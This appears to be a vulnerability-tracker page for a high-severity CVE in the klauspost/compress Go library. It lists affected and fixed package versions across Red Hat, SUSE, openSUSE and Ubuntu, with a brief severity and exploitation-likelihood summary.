spire1.15-agent
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:1.15.3-0.2.hum1
0:1.15.3-0.2.hum1
spire1.15-oidc-discovery-provider
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:1.15.3-0.2.hum1
0:1.15.3-0.2.hum1
spire1.15-server
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:1.15.3-0.2.hum1
0:1.15.3-0.2.hum1
loki3.7
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:3.7.8-0.3.hum1
0:3.7.8-0.3.hum1
loki3.7-canary
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:3.7.8-0.3.hum1
0:3.7.8-0.3.hum1
loki3.7-logcli
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:3.7.8-0.3.hum1
0:3.7.8-0.3.hum1
grafana12.4
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:12.4.10-0.9.hum1
0:12.4.10-0.9.hum1
grafana13.1
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:13.1.6-0.4.hum1
0:13.1.6-0.4.hum1
grafana13.2
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:13.2.1-0.8.hum1
0:13.2.1-0.8.hum1
loki3.6
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:3.6.17-0.3.hum1
0:3.6.17-0.3.hum1
loki3.6-canary
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:3.6.17-0.3.hum1
0:3.6.17-0.3.hum1
loki3.6-logcli
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:3.6.17-0.3.hum1
0:3.6.17-0.3.hum1
github.com/klauspost/compress
Root:Go
before v1.17.11-aikido.1
v1.17.11-aikido.1v1.18.0-aikido.1v1.15.9-aikido.1v1.17.2-aikido.1v1.18.1-aikido.1v1.17.9-aikido.1v1.18.6-aikido.1
rootio-github.com/klauspost/compress
Root:Go
before v1.17.11-root.io.1
v1.17.11-root.io.1v1.18.0-root.io.1v1.15.9-root.io.1v1.17.2-root.io.1v1.18.1-root.io.1v1.17.9-root.io.1v1.18.6-root.io.1
helm
SUSE:Linux Micro 6.2
From an advisory covering 3 CVEs
before 4.3.0-160000.2.1
4.3.0-160000.2.1
google-osconfig-agent
SUSE:Linux Micro 6.0
before 20260928.01-159998.1.1
20260928.01-159998.1.1
distribution
SUSE:Linux Enterprise Server 16.0
before 3.1.1-160000.5.1
3.1.1-160000.5.1
distribution
SUSE:Linux Enterprise Server for SAP applications 16.0
before 3.1.1-160000.5.1
3.1.1-160000.5.1
google-osconfig-agent
SUSE:Linux Enterprise Server 16.0
before 20260928.01-160000.1.1
20260928.01-160000.1.1
google-osconfig-agent
SUSE:Linux Enterprise Server for SAP applications 16.0
before 20260928.01-160000.1.1
20260928.01-160000.1.1
helm
SUSE:Linux Enterprise Server 16.0
From an advisory covering 3 CVEs
before 4.3.0-160000.2.1
4.3.0-160000.2.1
helm
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 3 CVEs
before 4.3.0-160000.2.1
4.3.0-160000.2.1
aliyun-cli
SUSE:Linux Enterprise Server 16.0
before 3.5.1-160000.1.1
3.5.1-160000.1.1
aliyun-cli
SUSE:Linux Enterprise Server for SAP applications 16.0
before 3.5.1-160000.1.1
3.5.1-160000.1.1
google-osconfig-agent
SUSE:Linux Micro 6.1
before 20260928.01-slfo.1.1_1.1
20260928.01-slfo.1.1_1.1
helm
SUSE:Linux Micro 6.1
From an advisory covering 20 CVEs
before 4.3.0-slfo.1.1_1.1
4.3.0-slfo.1.1_1.1
google-osconfig-agent
SUSE:Linux Enterprise Module for Public Cloud 12
before 20260928.01-1.63.1
20260928.01-1.63.1
google-osconfig-agent
SUSE:Linux Enterprise Micro 5.5
before 20260928.01-150000.1.70.1
20260928.01-150000.1.70.1
google-osconfig-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP4
before 20260928.01-150000.1.70.1
20260928.01-150000.1.70.1
google-osconfig-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
before 20260928.01-150000.1.70.1
20260928.01-150000.1.70.1
google-osconfig-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP6
before 20260928.01-150000.1.70.1
20260928.01-150000.1.70.1
google-osconfig-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP7
before 20260928.01-150000.1.70.1
20260928.01-150000.1.70.1
amazon-cloudwatch-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP4
before 1.300073.0-150400.9.18.1
1.300073.0-150400.9.18.1
amazon-cloudwatch-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP5
before 1.300073.0-150400.9.18.1
1.300073.0-150400.9.18.1
amazon-cloudwatch-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP6
before 1.300073.0-150400.9.18.1
1.300073.0-150400.9.18.1
amazon-cloudwatch-agent
SUSE:Linux Enterprise Module for Public Cloud 15 SP7
before 1.300073.0-150400.9.18.1
1.300073.0-150400.9.18.1
helm
SUSE:Linux Enterprise Micro 5.5
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Module for Containers 15 SP7
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Module for Package Hub 15 SP7
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
helm
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 5 CVEs
before 3.22.1-150000.1.104.1
3.22.1-150000.1.104.1
golang-github-klauspost-compress
Ubuntu:16.04:LTS
All versions, plus listed versions
0.0~git20151221.0.2dd54ae-1
None known
golang-github-klauspost-compress
Ubuntu:18.04:LTS
All versions, plus listed versions
1.2.1-11.2.1-21.2.1-41.2.1-5
None known
golang-github-klauspost-compress
Ubuntu:20.04:LTS
All versions, plus listed versions
1.2.1-51.7.6-21.9.5-11.9.5-2
None known
golang-github-klauspost-compress
Ubuntu:22.04:LTS
All versions, plus listed versions
1.11.7-2
None known
golang-github-klauspost-compress
Ubuntu:24.04:LTS
All versions, plus listed versions
1.15.12+ds1-31.17.7+ds1-1
None known
golang-github-klauspost-compress
Ubuntu:26.10
All versions, plus listed versions
1.18.1+ds1-11.19.0+ds1-11.20.0+ds1-1
None known
golang-github-klauspost-compress
Ubuntu:26.04:LTS
All versions, plus listed versions
1.18.0+ds1-11.18.1+ds1-1
None known
amazon-cloudwatch-agent
openSUSE:Tumbleweed
before 1.300073.0-1.1
1.300073.0-1.1
aliyun-cli
openSUSE:Tumbleweed
before 3.5.1-2.1
3.5.1-2.1
cadvisor
openSUSE:Tumbleweed
before 0.60.6-1.1
0.60.6-1.1
distribution
openSUSE:Tumbleweed
before 3.1.1-9.1
3.1.1-9.1
go-containerregistry
openSUSE:Tumbleweed
before 0.22.1-2.1
0.22.1-2.1
google-osconfig-agent
openSUSE:Tumbleweed
before 20260928.01-1.1
20260928.01-1.1
hauler
openSUSE:Tumbleweed
before 2.1.1-1.1
2.1.1-1.1
helm
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 4.3.0-4.1
4.3.0-4.1
helm3
openSUSE:Tumbleweed
before 3.22.0-3.1
3.22.0-3.1
alloy
openSUSE:Tumbleweed
From an advisory covering 7 CVEs
before 1.20.1-1.1
1.20.1-1.1
gh
openSUSE:Tumbleweed
From an advisory covering 7 CVEs
before 2.102.0-1.1
2.102.0-1.1
rqlite
openSUSE:Tumbleweed
From an advisory covering 4 CVEs
before 10.6.1-1.1
10.6.1-1.1
distribution
openSUSE:Leap 16.0
before 3.1.1-160000.5.1
3.1.1-160000.5.1
helm
openSUSE:Leap 16.0
From an advisory covering 3 CVEs
before 4.3.0-160000.2.1
4.3.0-160000.2.1
google-osconfig-agent
openSUSE:Leap 16.0
before 20260928.01-160000.1.1
20260928.01-160000.1.1
hauler
openSUSE:Leap 16.0
From an advisory covering 2 CVEs
before 2.1.1-bp160.1.1
2.1.1-bp160.1.1
cadvisor
openSUSE:Leap 16.0
before 0.60.6-bp160.1.1
0.60.6-bp160.1.1
gh
openSUSE:Leap 16.0
From an advisory covering 8 CVEs
before 2.102.0-bp160.1.1
2.102.0-bp160.1.1
aliyun-cli
openSUSE:Leap 16.0
before 3.5.1-160000.1.1
3.5.1-160000.1.1
rqlite
openSUSE:Leap 16.0
From an advisory covering 6 CVEs
before 10.6.6-bp160.1.1
10.6.6-bp160.1.1
go-containerregistry
openSUSE:Leap 16.0
From an advisory covering 3 CVEs
before 0.22.1-bp160.1.1
0.22.1-bp160.1.1

History

History
RecordedChangedSources
affected
affected, aliases, referencesOSV
affected, aliases, facts, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-63209 is a high vulnerability (CVSS 7.5) in Klauspost Compress, published July 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in github.com/klauspost/compress 1.18.7.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 96 references. The JSON record has them. Left out on purpose, here and in the API, to keep responses small: 16 source records.

MoveEnter Open